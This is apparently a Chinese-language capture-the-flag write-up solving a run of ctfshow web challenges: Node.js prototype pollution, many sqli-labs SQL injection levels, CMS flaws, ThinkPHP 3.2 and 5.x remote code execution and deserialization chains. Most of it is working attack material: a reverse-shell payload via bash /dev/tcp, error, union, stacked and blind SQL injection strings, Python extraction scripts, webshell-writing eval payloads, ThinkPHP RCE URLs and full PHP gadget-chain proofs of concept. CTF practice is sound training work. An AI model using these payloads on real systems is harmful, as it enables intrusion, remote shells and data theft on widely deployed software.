utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
再跟进看一下 common.js
,copy函数存在对object1的键值对添加修改的情况,而通过键 __proto__
可以访问到该对象的原型,如果能对他的原型添加一个键值对 {'ctfshow': '36dboy'}
,那么原型也是他的secert在被访问ctfshow属性时就会返回36dboy,就能够满足条件了。
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
于是我们对路由 /login
POST传入 {"__proto__":{"ctfshow":"36dboy"}}
就能够获取flag了。
web339
相对于上一题,在判断处判断的条件修改为了flag的内容,不再是固定的值,再像之前一样是不行了。
这次多了一个 api.js
,进行了模板渲染,如果这里的query被我们修改了,那就可以任意代码执行了。而query在当前环境中没有被定义,所以就会在Object对象中寻找这个属性,那么我们就向上污染Object添加一个query属性就行了。
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
那么我们在login处传入 {"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/***/*** 0>&1\"')"}}
这样就能够利用copy覆盖query的值,然后POST访问api,就能够反弹shell了。
这里之所以是 global.process.mainModule.constructor._load
,而不是直接用 require
,是因为这里没有require,所以就用 global.process.mainModule.constructor._load
来导入 child_process
。
https://nodejs.org/api/globals.html#globals_require
This variable may appear to be global but is not
web340
这里的user定义为了一个对象,他的属性userinfo同样也是一个对象,copy函数的第一个参数传入 user.userinfo
,同样还是向上污染Object对象的属性添加query。
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});
但是这里 user.userinfo.__proto__
并不是 Object.prototype
,还要再往上一层才是 Object.prototype
。
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
console.log(user.userinfo.__proto__.__proto__ === Object.prototype)
//output: true
所以这里我们要往上污染两层。
payload 为 {"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/***/*** 0>&1\"')"}}}
0x0e sqli-labs
web517
可以报错注入也可以联合注入,默认使用的数据库是security,但是flag在ctfshow这个数据库中。
1' and (updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1))%23
1' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1))%23
1' and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e),1))%23
1' and (updatexml(1,concat(0x7e,(select flag from ctfshow.flag),0x7e),1))%23
web518
整数型注入,相对于上一题去掉单引号闭合就行了。
1 and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1))%23
1 and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flagaa'),0x7e),1))%23
1 and (updatexml(1,concat(0x7e,(select flagac from ctfshow.flagaa),0x7e),1))%23
web519
括号闭合。
1') and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1))%23
1') and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flagaanec'),0x7e),1))%23
1') and (updatexml(1,concat(0x7e,(select flagaca from ctfshow.flagaanec),0x7e),1))%23
web520
双引号闭合。
1") and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1))%23
1") and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flagsf'),0x7e),1))%23
1") and (updatexml(1,concat(0x7e,(select flag23 from ctfshow.flagsf),0x7e),1))%23
web521
-1' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1))%23
-1' and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flagpuck'),0x7e),1))%23
-1' and (updatexml(1,concat(0x7e,(select flag33 from ctfshow.flagpuck),0x7e),1))%23
web522
-1" and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1))%23
-1" and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flagpa'),0x7e),1))%23
-1" and (updatexml(1,concat(0x7e,(select flag3a3 from ctfshow.flagpa),0x7e),1))%23
web523
写文件操作。
1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow' into outfile '/var/www/html/3.txt'%23
1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flagdk' into outfile '/var/www/html/4.txt'%23
1')) union select 1,2,flag43 from ctfshow.flagdk into outfile '/var/www/html/5.txt'%23
web524
布尔盲注。
import requests
url = 'http://31b13bf1-e597-43b6-baca-563ce4411a1f.challenge.ctf.show:8080/?id='
i = 0
flag = ''
while 1:
start = 32
tail = 127
i += 1
while start < tail:
mid = (start + tail) >> 1
# payload = "select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'"
# payload = 'select group_concat(column_name) from information_schema.columns where table_name="flagjugg"'
payload = 'select flag423 from ctfshow.flagjugg'
data = f"-1' or if(ascii(substr(({payload}),{i},1))>{mid},1,0)%23"
res = requests.get(url + data)
if 'You are in...........' in res.text:
start = mid + 1
else:
tail = mid
if start != 32:
flag += chr(start)
print(flag)
else:
break
web525
时间盲注
import requests
url = 'http://030bbc59-11d0-40c9-b8dd-55b82a6e4ca9.challenge.ctf.show:8080/?id='
i = 0
flag = ''
while 1:
start = 32
tail = 127
i += 1
while start < tail:
mid = (start + tail) >> 1
# payload = "select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'"
# payload = 'select group_concat(column_name) from information_schema.columns where table_name="flagug"'
payload = 'select flag4a23 from ctfshow.flagug'
data = f"1' and if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.6),0)%23"
try:
res = requests.get(url + data, timeout=0.5)
tail = mid
except Exception as e:
start = mid + 1
if start != 32:
flag += chr(start)
print(flag)
else:
break
web526
时间盲注,双引号闭合。
import requests
url = 'http://d063f99f-ea86-494c-90ad-892ead80c267.challenge.ctf.show:8080/?id='
i = 0
flag = ''
while 1:
start = 32
tail = 127
i += 1
while start < tail:
mid = (start + tail) >> 1
# payload = "select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'"
# payload = 'select group_concat(column_name) from information_schema.columns where table_name="flagugs"'
payload = 'select flag43s from ctfshow.flagugs'
data = f'1" and if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.6),0)%23'
try:
res = requests.get(url + data, timeout=0.5)
tail = mid
except Exception as e:
start = mid + 1
if start != 32:
flag += chr(start)
print(flag)
else:
break
web527
报错注入。
uname=1' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1))#&passwd=1
uname=1' and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flagugsd'),0x7e),1))#&passwd=1
uname=1' and (updatexml(1,concat(0x7e,(select flag43s from ctfshow.flagugsd),0x7e),1))#&passwd=1
web528
报错注入双引号闭合。
uname=1") and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1))#&passwd=1
uname=1") and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flagugsds'),0x7e),1))#&passwd=1
uname=1") and (updatexml(1,concat(0x7e,(select flag43as from ctfshow.flagugsds),0x7e),1))#&passwd=1
web529
uname=1') and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1))#&passwd=1
uname=1') and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e),1))#&passwd=1
uname=1') and (updatexml(1,concat(0x7e,(select flag4 from ctfshow.flag),0x7e),1))#&passwd=1
web530
uname=1" and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1))#&passwd=1
uname=1" and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flagb'),0x7e),1))#&passwd=1
uname=1" and (updatexml(1,concat(0x7e,(select flag4s from ctfshow.flagb),0x7e),1))#&passwd=1
web531
布尔盲注
import requests
url = 'http://5f469d00-2b70-444f-b02c-9020cbff0015.challenge.ctf.show:8080/'
i = 0
flag = ''
data = {
'uname': '',
'passwd': '1'
}
while 1:
start = 32
tail = 127
i += 1
while start < tail:
mid = (start + tail) >> 1
# payload = "select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'"
# payload = 'select group_concat(column_name) from information_schema.columns where table_name="flagba"'
payload = 'select flag4sa from ctfshow.flagba'
data['uname'] = f"admin' and if(ascii(substr(({payload}),{i},1))>{mid},1,0)#"
res = requests.post(url, data=data)
if 'flag.jpg' in res.text:
start = mid + 1
else:
tail = mid
if start != 32:
flag += chr(start)
print(flag)
else:
break
web532
时间盲注
import requests
url = 'http://db0003fb-d379-4a66-ab7c-32146386726a.challenge.ctf.show:8080/'
i = 0
flag = ''
data = {
'uname': '',
'passwd': '1'
}
while 1:
start = 32
tail = 127
i += 1
while start < tail:
mid = (start + tail) >> 1
# payload = "select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'"
# payload = 'select group_concat(column_name) from information_schema.columns where table_name="flagbab"'
payload = 'select flag4sa from ctfshow.flagbab'
data['uname'] = f'admin") and if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.6),0)#'
try:
res = requests.post(url, data=data, timeout=0.5)
tail = mid
except Exception as e:
start = mid + 1
if start != 32:
flag += chr(start)
print(flag)
else:
break
web533
uname=1' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1))#&passwd=1
uname=1' and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e),1))#&passwd=1
uname=1' and (updatexml(1,concat(0x7e,(select flag4 from ctfshow.flag),0x7e),1))#&passwd=1
web534
登陆成功后会显示UA头,应该是UA注入,伪造UA头进行报错注入即可。
1' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1)) and '1'='1
1' and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e),1)) and '1'='1
1' and (updatexml(1,concat(0x7e,(select flag4 from ctfshow.flag),0x7e),1)) and '1'='1
web535
登陆成功后会显示Referer,伪造Referer进行报错注入即可。
1' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1)) and '1'='1
1' and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e),1)) and '1'='1
1' and (updatexml(1,concat(0x7e,(select flag4 from ctfshow.flag),0x7e),1)) and '1'='1
web533
修改cookie进行报错注入。
1' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1)) and '1'='1
1' and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e),1)) and '1'='1
1' and (updatexml(1,concat(0x7e,(select flag4 from ctfshow.flag),0x7e),1)) and '1'='1
web537
还是cookie出入,只是进行了一次base64编码
MScgYW5kICh1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGZsYWc0IGZyb20gY3Rmc2hvdy5mbGFnKSwweDdlKSwxKSkgYW5kICcxJz0nMQ==
web538
1" and (updatexml(1,concat(0x7e,(select flag4 from ctfshow.flag),0x7e),1))#
web539
1' and (updatexml(1,concat(0x7e,(select flag4 from ctfshow.flag),0x7e),1)) and '1'='1
web540
二次注入
import requests
session = requests.session()
register = 'http://5410d509-cf59-45d7-9d96-1f223ad51ed5.challenge.ctf.show:8080/login_create.php'
login = 'http://5410d509-cf59-45d7-9d96-1f223ad51ed5.challenge.ctf.show:8080/login.php'
reset = 'http://5410d509-cf59-45d7-9d96-1f223ad51ed5.challenge.ctf.show:8080/pass_change.php'
result = ''
i = 0
data = {}
while True:
i = i + 1
start = 32
tail = 127
while start < tail:
mid = (start + tail) >> 1
# payload = "select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'"
# payload = 'select group_concat(column_name) from information_schema.columns where table_name="flag"'
payload = 'select flag4 from ctfshow.flag'
username = f"Dumb' and if(ascii(substr(({payload}),{i},1))>{mid},sleep(1),0) or '1'='1"
data = {'username': username,
'password': "114514",
're_password': "114514",
'submit': "Register"
}
session.post(register, data=data)
data = {'login_user': username,
'login_password': "114514",
'mysubmit': "Login"
}
session.post(login, data=data)
data = {'current_password': "114514",
'password': "114515",
're_password': "114515",
'submit': "Reset"
}
try:
res = session.post(reset, data=data, timeout=0.5)
tail = mid
except Exception as e:
start = mid + 1
if start != 32:
result += chr(start)
else:
break
print(result)
web541
or
和 and
被替换为空,双写绕过。
1' anandd (updatexml(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='ctfshow'),0x7e),1))%23
1' anandd (updatexml(1,concat(0x7e,(select group_concat(column_name) from infoorrmation_schema.columns where table_name='flags'),0x7e),1))%23
1' anandd (updatexml(1,concat(0x7e,(select flag4s from ctfshow.flags),0x7e),1))%23
web542
这题和上一题一样 or
和 and
被替换为空,双写绕过,但是没有报错信息了,可以用联合注入。
-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='ctfshow'%23
-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='flags'%23
-1 union select 1,2, flag4s from ctfshow.flags%23
web543
上一题的基础上过滤了空格。
1'anandd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='ctfshow')),0x7e),1))oorr'0
1'anandd(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='flags')),0x7e),1))oorr'0
1'anandd(updatexml(1,concat(0x7e,(select(flag4s)from(ctfshow.flags)),0x7e),1))oorr'0
web544
没有报错信息,盲注。
import requests
url = 'http://168df047-b54d-4578-960b-b7a58cb92fdf.challenge.ctf.show:8080/?id='
i = 0
flag = ''
while 1:
start = 32
tail = 127
i += 1
while start < tail:
mid = (start + tail) >> 1
# payload = "select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='ctfshow')"
# payload = 'select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name="flags")'
payload = 'select(flag4s)from(ctfshow.flags)'
data = f"admin')oorr(if(ascii(substr(({payload}),{i},1))>{mid},1,0))oorr('0"
res = requests.get(url + data, timeout=0.5)
if 'Dumb' in res.text:
start = mid + 1
else:
tail = mid
if start != 32:
flag += chr(start)
print(flag)
else:
break
###
过滤了 select
和 union
,大小写绕过。
import requests
url = 'http://ec1d02df-057e-478c-b6ae-4856617a41bf.challenge.ctf.show:8080/?id='
i = 0
flag = ''
while 1:
start = 32
tail = 127
i += 1
while start < tail:
mid = (start + tail) >> 1
payload = "seLEct(group_concat(table_name))from(information_schema.tables)where(table_schema='ctfshow')"
# payload = 'seLEct(group_concat(column_name))from(information_schema.columns)where(table_name="flags")'
# payload = 'select(flag4s)from(ctfshow.flags)'
data = f"admin'or(if(ascii(substr(({payload}),{i},1))>{mid},1,0))or'0"
res = requests.get(url + data)
if 'Dumb' in res.text:
start = mid + 1
else:
tail = mid
if start != 32:
flag += chr(start)
print(flag)
else:
break
web546
上一题的单引号改双引号。
import requests
url = 'http://6e730cd4-3626-4686-a27b-262d1658e7f1.challenge.ctf.show:8080/?id='
i = 0
flag = ''
while 1:
start = 32
tail = 127
i += 1
while start < tail:
mid = (start + tail) >> 1
# payload = "seLEct(group_concat(table_name))from(information_schema.tables)where(table_schema='ctfshow')"
# payload = 'seLEct(group_concat(column_name))from(information_schema.columns)where(table_name="flags")'
payload = 'seLEct(flag4s)from(ctfshow.flags)'
data = f'admin"or(if(ascii(substr(({payload}),{i},1))>{mid},1,0))or"0'
res = requests.get(url + data)
if 'Dumb' in res.text:
start = mid + 1
else:
tail = mid
if start != 32:
flag += chr(start)
print(flag)
else:
break
web547
脚本同545
import requests
url = 'http://26a829d0-1f10-4a34-9d30-f31f490e0008.challenge.ctf.show:8080//?id='
i = 0
flag = ''
while 1:
start = 32
tail = 127
i += 1
while start < tail:
mid = (start + tail) >> 1
# payload = "seLEct(group_concat(table_name))from(information_schema.tables)where(table_schema='ctfshow')"
# payload = 'seLEct(group_concat(column_name))from(information_schema.columns)where(table_name="flags")'
payload = 'seLEct(flag4s)from(ctfshow.flags)'
data = f"admin'or(if(ascii(substr(({payload}),{i},1))>{mid},1,0))or'0"
res = requests.get(url + data)
if 'Dumb' in res.text:
start = mid + 1
else:
tail = mid
if start != 32:
flag += chr(start)
print(flag)
else:
break
web548
同上
web549
服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache 为引擎的 php 服务器,真正提供 web 服务的是 php 服务器。
服务器对参数的解析如下。
由于过滤是通过jsp进行过滤,所以传入两个参数id即可绕过waf。
?id=1&id=-2' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctfshow'%23
?id=1&id=-2' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='flags'%23
?id=1&id=-2' union select 1,2,group_concat(flag4s)from ctfshow.flags%23
web550
双引号闭合。
?id=1&id=-2" union select 1,2,group_concat(flag4s)from ctfshow.flags%23
web551
双引号括号闭合。
?id=1&id=-2") union select 1,2,group_concat(flag4s)from ctfshow.flags%23
web552
宽字节注入。
?id=-2%df' union select 1,2,group_concat(flag4s)from ctfshow.flags%23
web553
同上
web554
-1�' union select 1,group_concat(flag4s) from ctfshow.flags#
web555
-1 union select 1,group_concat(flag4s) from ctfshow.flags#
web556
?id=-1%df' union select 1,2,group_concat(flag4s)from ctfshow.flags%23
web557
-1�' union select 1,group_concat(flag4s) from ctfshow.flags#
web558
堆叠注入。
能拿到表名和字段名但是拿不到flag,不知道为什么。
21';insert users(id,username,password) values(21,(select group_concat(flag4s) from ctfshow.flags),'114514');
堆叠注入改表名。
1';CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;
web559
1;CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;
web560
1');CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;
web561
1;CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;
web562
login_password=-1'union select 1,(select group_concat(flag4s)from(ctfshow.flags)),3%23&login_user=admin&mysubmit=Login
web563
login_password=-1')union select 1,(select group_concat(flag4s)from(ctfshow.flags)),3%23&login_user=admin&mysubmit=Login
web564
updatexml(1,concat(0x7e,(select flag4s from ctfshow.flags),0x7e),1)
web565
1' and updatexml(1,concat(0x7e,(select flag4s from ctfshow.flags),0x7e),1)%23
web566
可以根据 ?sort=rand(0)
与 ?sort=rand(1)
返回结果不同来写盲注脚本。
from time import sleep
import requests
url = 'http://ba071b80-bc38-439f-9c77-3ec25208f5f3.challenge.ctf.show:8080/?sort='
i = 0
flag = ''
html = requests.get(url + 'rand(1)').text
while 1:
start = 32
tail = 127
i += 1
while start < tail:
mid = (start + tail) >> 1
# payload = "select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctfshow')"
# payload = 'select(group_concat(column_name))from(information_schema.columns)where(table_name="flags")'
payload = 'select(flag4s)from(ctfshow.flags)'
data = f"rand(ascii(substr(({payload}),{i},1))>{mid})"
res = requests.get(url + data)
if html == res.text:
start = mid + 1
else:
tail = mid
sleep(1)
if start != 32:
flag += chr(start)
print(flag)
else:
break
web567
同上
web568
1' and updatexml(1,concat(0x7e,(select flag4s from ctfshow.flags),0x7e),1)%23
0x0f CMS
web477
访问当前目录下的 更新记录.txt
文件得到版本为6.0,下载源码。
漏洞发生在 table_templatetagwap.php
中。
下载发现代码被混淆了,要先进行反混淆。
<?php
$file = file_get_contents("table_templatetagwap.php");
$file = substr(str_replace(substr($file, 0, 2054), '', $file), 0, -2);
file_put_contents('new.php',gzinflate(base64_decode($file)));
拿到源码
<?php
if (!defined('ROOT')) exit('Can\'t Access !');
class table_templatetag extends table_mode
{
function vaild()
{
if (!front::post('name')) {
front::flash('请填写名称!');
return false;
}
if (!front::post('tagcontent')) {
front::flash('请填写内容!');
return false;
}
return true;
}
function save_before()
{
if (!front::post('tagfrom')) front::$post['tagfrom'] = 'define';
if (!front::post('attr1')) front::$post['attr1'] = '0';
if (front::$post['tagcontent']) front::$post['tagcontent'] = htmlspecialchars_decode(front::$post['tagcontent']);
}
}
后台地址 http://url/?admin_dir=admin
,默认 admin/admin
登录成功。
在 首页/模板/自定义标签
处添加自定义标签,内容输入 <?php phpinfo(); ?>
就可以触发代码执行。flag就在phpinfo中。
web478
web480
saveValues()
会将用户的输入一一对应存入 config.php
中,不难想到代码注入。
这里会对输入进行一些过滤,在这里的最后会将单引号替换为 \'
或空。
foreach ($values as $directive => $value) {
$directive = trim(strtoupper($directive));
if ($directive == 'CURRENTCONFIGNAME') {
$profile = $value;
continue;
}
$str .= "define(\"$directive\",";
$value = stripslashes($value);
if (substr($directive, -5, 5) == "_HTML") {
$value = htmlentities($value, ENT_QUOTES, LANG_CHARSET);
$value = str_replace(array("\r\n", "\r", "\n"), "", $value);
$str .= "exponent_unhtmlentities('$value')";
} elseif (is_int($value)) {
$str .= "'" . $value . "'";
} else {
if ($directive != 'SESSION_TIMEOUT') {
$str .= "'" . str_replace("'", "\'", $value) . "'";
}
else {
$str .= "'" . str_replace("'", '', $value) . "'";
}
}
$str .= ");\n";
}
但是在 config.php
中,CURRENTCONFIGNAME
的值用的是双引号包裹而不是单引号,就可以在这里进行注入了。
<?php
define("HOST",'127.0.0.1');
define("USER",'ctfshow');
define("PASSWORD",'ctfshow');
define("DATABASE",'ctfshow');
?>
<?php
define("CURRENTCONFIGNAME","");
?>
?conf[CURRENTCONFIGNAME]=");eval($_POST[1]);#
即可。
web481
当传入参数 session
的md5值为 3e858ccd79287cfe8509f15a71b4c45d
即ctfshow时,可以复制文件。
if(md5($_GET['session'])=='3e858ccd79287cfe8509f15a71b4c45d'){
$configs="c"."o"."p"."y";
$configs(trim($_GET['url']),$_GET['cms']);
// copy(trim($_GET['url']),$_GET['cms']);
}
?session=ctfshow&url=/flag&cms=1.txt
即可。
web482
打开就是安装界面,提示已安装,而且网站的解析根目录在 /install
下,我们能够利用的东西很有限。
查看一下 index.php
,存在 extract()
,但是不能变量覆盖。还有参数 submit
和 step
。
if($_POST) extract($_POST, EXTR_SKIP);//把数组中的键名直接注册为了变量。就像把$_POST[ai]直接注册为了$ai。
if($_GET) extract($_GET, EXTR_SKIP);
$submit = isset($_POST['submit']) ? true : false;
$step = isset($_POST['step']) ? $_POST['step'] : 1;
之后存在根据 $step
的值来包含不同的文件,接着去看看这些文件。
<?php
switch($step) {
case '1'://协议
include 'step_'.$step.'.php';
break;
case '2'://环境
......
include 'step_'.$step.'.php';
break;
case '3'://查目录属性
include 'step_'.$step.'.php';
break;
case '4'://建数据库
include 'step_'.$step.'.php';
break;
case '5'://安装进度
......
include 'step_'.$step.'.php';
break;
case '6'://安装成功
include 'step_'.$step.'.php';
break;
}
session_write_close();
?>
step_1.php
中验证了文件 install.lock
是否存在来判断是否已安装。
if(file_exists("install.lock")){
echo "<div style='padding:30px;'>安装向导已运行安装过,如需重安装,请删除 /install/install.lock 文件</div>";
}
但是在 step_2.php
中只验证了 $step
的值,没有验证 install.lock
是否存在,存在重安装漏洞。
if(@$step==2){}
一路安装,成功后就出flag了。
0x10 thinkphp专题
大部分都在Thinkphp 3.2.3 rce中进行了复现。
web569
thinkphp 3.2.3,考察tp3.2的pathinfo的运用。
thinkphp 专项训练-pathinfo的运用
flag在Admin模块的Login控制器的ctfshowLogin方法中
tp3.2的url格式如下。
http://serverName/index.php/模块/控制器/操作
访问 http://serverName/index.php/Admin/Login/ctfshowLogin
就可以了。
web570
黑客建立了闭包路由后门,你能找到吗
下载附件,在 Common/Conf/
下找到了一个 config.php
存在如下代码,闭包路由参数传递然后对输入的内容进行函数调用。
'ctfshow/:f/:a' =>function($f,$a){
call_user_func($f, $a);
}
http://serverName/index.php/ctfshow/system/ls
就可以执行命令了,但是没办法输入 ls /
,那就可以用 assert
来进行回调后门。http://serverName/index.php/ctfshow/assert/assert($_POST[1])
,然后POST传入执行命令的代码即可。
web571
在 Home\Controller\IndexController
中找到了 index($n='')
传入了一个可控参数,模板渲染存在命令执行。
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($n=''){
$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>CTFshow</h1><p>thinkphp 专项训练</p><p>hello,'.$n.'黑客建立了控制器后门,你能找到吗</p>','utf-8');
}
}
http://serverName/index.php/Home/Index/index?n=<?php system('cat /flag_is_here ');?>
执行命令。
web572
提示 此题需要使用爆破来获得关键信息,非扫描,爆破次数不会超过365次,否则均为无效操作
。
365结合前面的代码中出现的日志文件,猜测可能是爆破出存在的日志文件,开启DEBUG的情况下会在Runtime目录下生成日志。用burp爆破找到了日志文件。路径 /Application/Runtime/Logs/Home/xxx.log
访问 /index.php?showctf=<?php system('cat /flag_is_here'); ?>
即可。
web573
tp3.2.3 sql注入。
?id[where]=1 and updatexml(1,concat(0x7e,(select flag4s from flags),0x7e),1)--+
web574
tp3.2.3 sql注入。本地调试一下发现直接跳过了过滤,直接注入就行了。
public function index($id=1){
$name = M('Users')->where('id='.$id)->find();
$this->show($html);
}
看报错信息发现有括号闭合,不添加注释符就行了。
?id=1 and updatexml(1,concat(0x7e,(select right(flag4s,20) from flags),0x7e),1)
web575
这里调用了反序列化然后调用了 $this->show($user->username)
,这里可以利用tp3.2.3反序列化SQL注入来进行注入,也可以通过show,控制$user->username来进行命令执行。
$user= unserialize(base64_decode(cookie('user')));
if(!$user || $user->id!==$id){
$user = M('Users');
$user->find(intval($id));
cookie('user',base64_encode(serialize($user->data())));
}
$this->show($user->username);
}
这题需要拿shell,所以堆叠写入一句话。
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick
{
private $img;
public function __construct()
{
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache
{
protected $handle;
public function __construct()
{
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model
{
protected $data;
protected $pk;
protected $db;
public function __construct()
{
$this->db = new Mysql();
$this->data['id'] = array(
"table" => 'mysql.user;select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/b.php"# ',
"where" => "1"
);
$this->pk = 'id';
}
}
}
namespace Think\Db\Driver{
use PDO;
class Mysql
{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true
);
protected $config = array(
"debug" => 1,
"database" => "ctfshow",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
web576
注释注入
$user = M('Users')->comment($id)->find(intval($id));
?id=1*/ into outfile "path/1.php" LINES STARTING BY '<?php eval($_POST[1]);?>'/*
进行写马。
web577
tp3的exp注入,?id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,(select group_concat(flag4s) from flags),0x7e),1)
web578
public function index($name='',$from='ctfshow'){
$this->assign($name,$from);
$this->display('index');
}
变量覆盖导致命令执行
?name=_content&from=<?php system("cat /flag_is_here ")?>
web579
thinkphp 5.0.15未开启强制路由RCE
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag_is_here
web604
thinkphp 5.1.29未开启强制路由RCE
?s=index/think\request/input?data[]=system('cat /flag_heeeeae')&filter=assert
web605
thinkphp 5.1.29未开启强制路由RCE
?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php eval($_POST[1]);?>
web606 - web610
thinkphp 5.1.29未开启强制路由RCE
日志包含
?s=index/\think\Lang/load&file=../../../../../../../../../var/log/nginx/access.log
web611
thinkphp 5.1.38反序列化RCE
POC:
<?php
namespace think\process\pipes{
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
}
namespace think{
abstract class Model
{
private $data = [];
private $withAttr = [];
protected $append = ['so4ms'=>[]];
public function __construct()
{
$this->relation = false;
$this->data = ['so4ms'=>'cat<>/flag_heeeeae2'];
$this->withAttr = ['so4ms'=>'system'];
}
}
}
namespace {
use think\process\pipes\Windows;
$windows = new Windows();
echo urlencode(serialize($windows))."\n";
}
web611
thinkphp 5.1.38反序列化RCE
0x11 中期测评
web486
打开后url是 http://url/index.php?action=login
,修改一下action,报错提示 Warning: file_get_contents(templates/test.php): failed to open stream:
,action=../flag
读取flag。
web487
action=../index
读取源码。
SQL查询语句如下,存在SQL注入。
$sql = "select id from user where username = md5('$username') and password=md5('$password') order by id limit 1";
布尔盲注
import requests
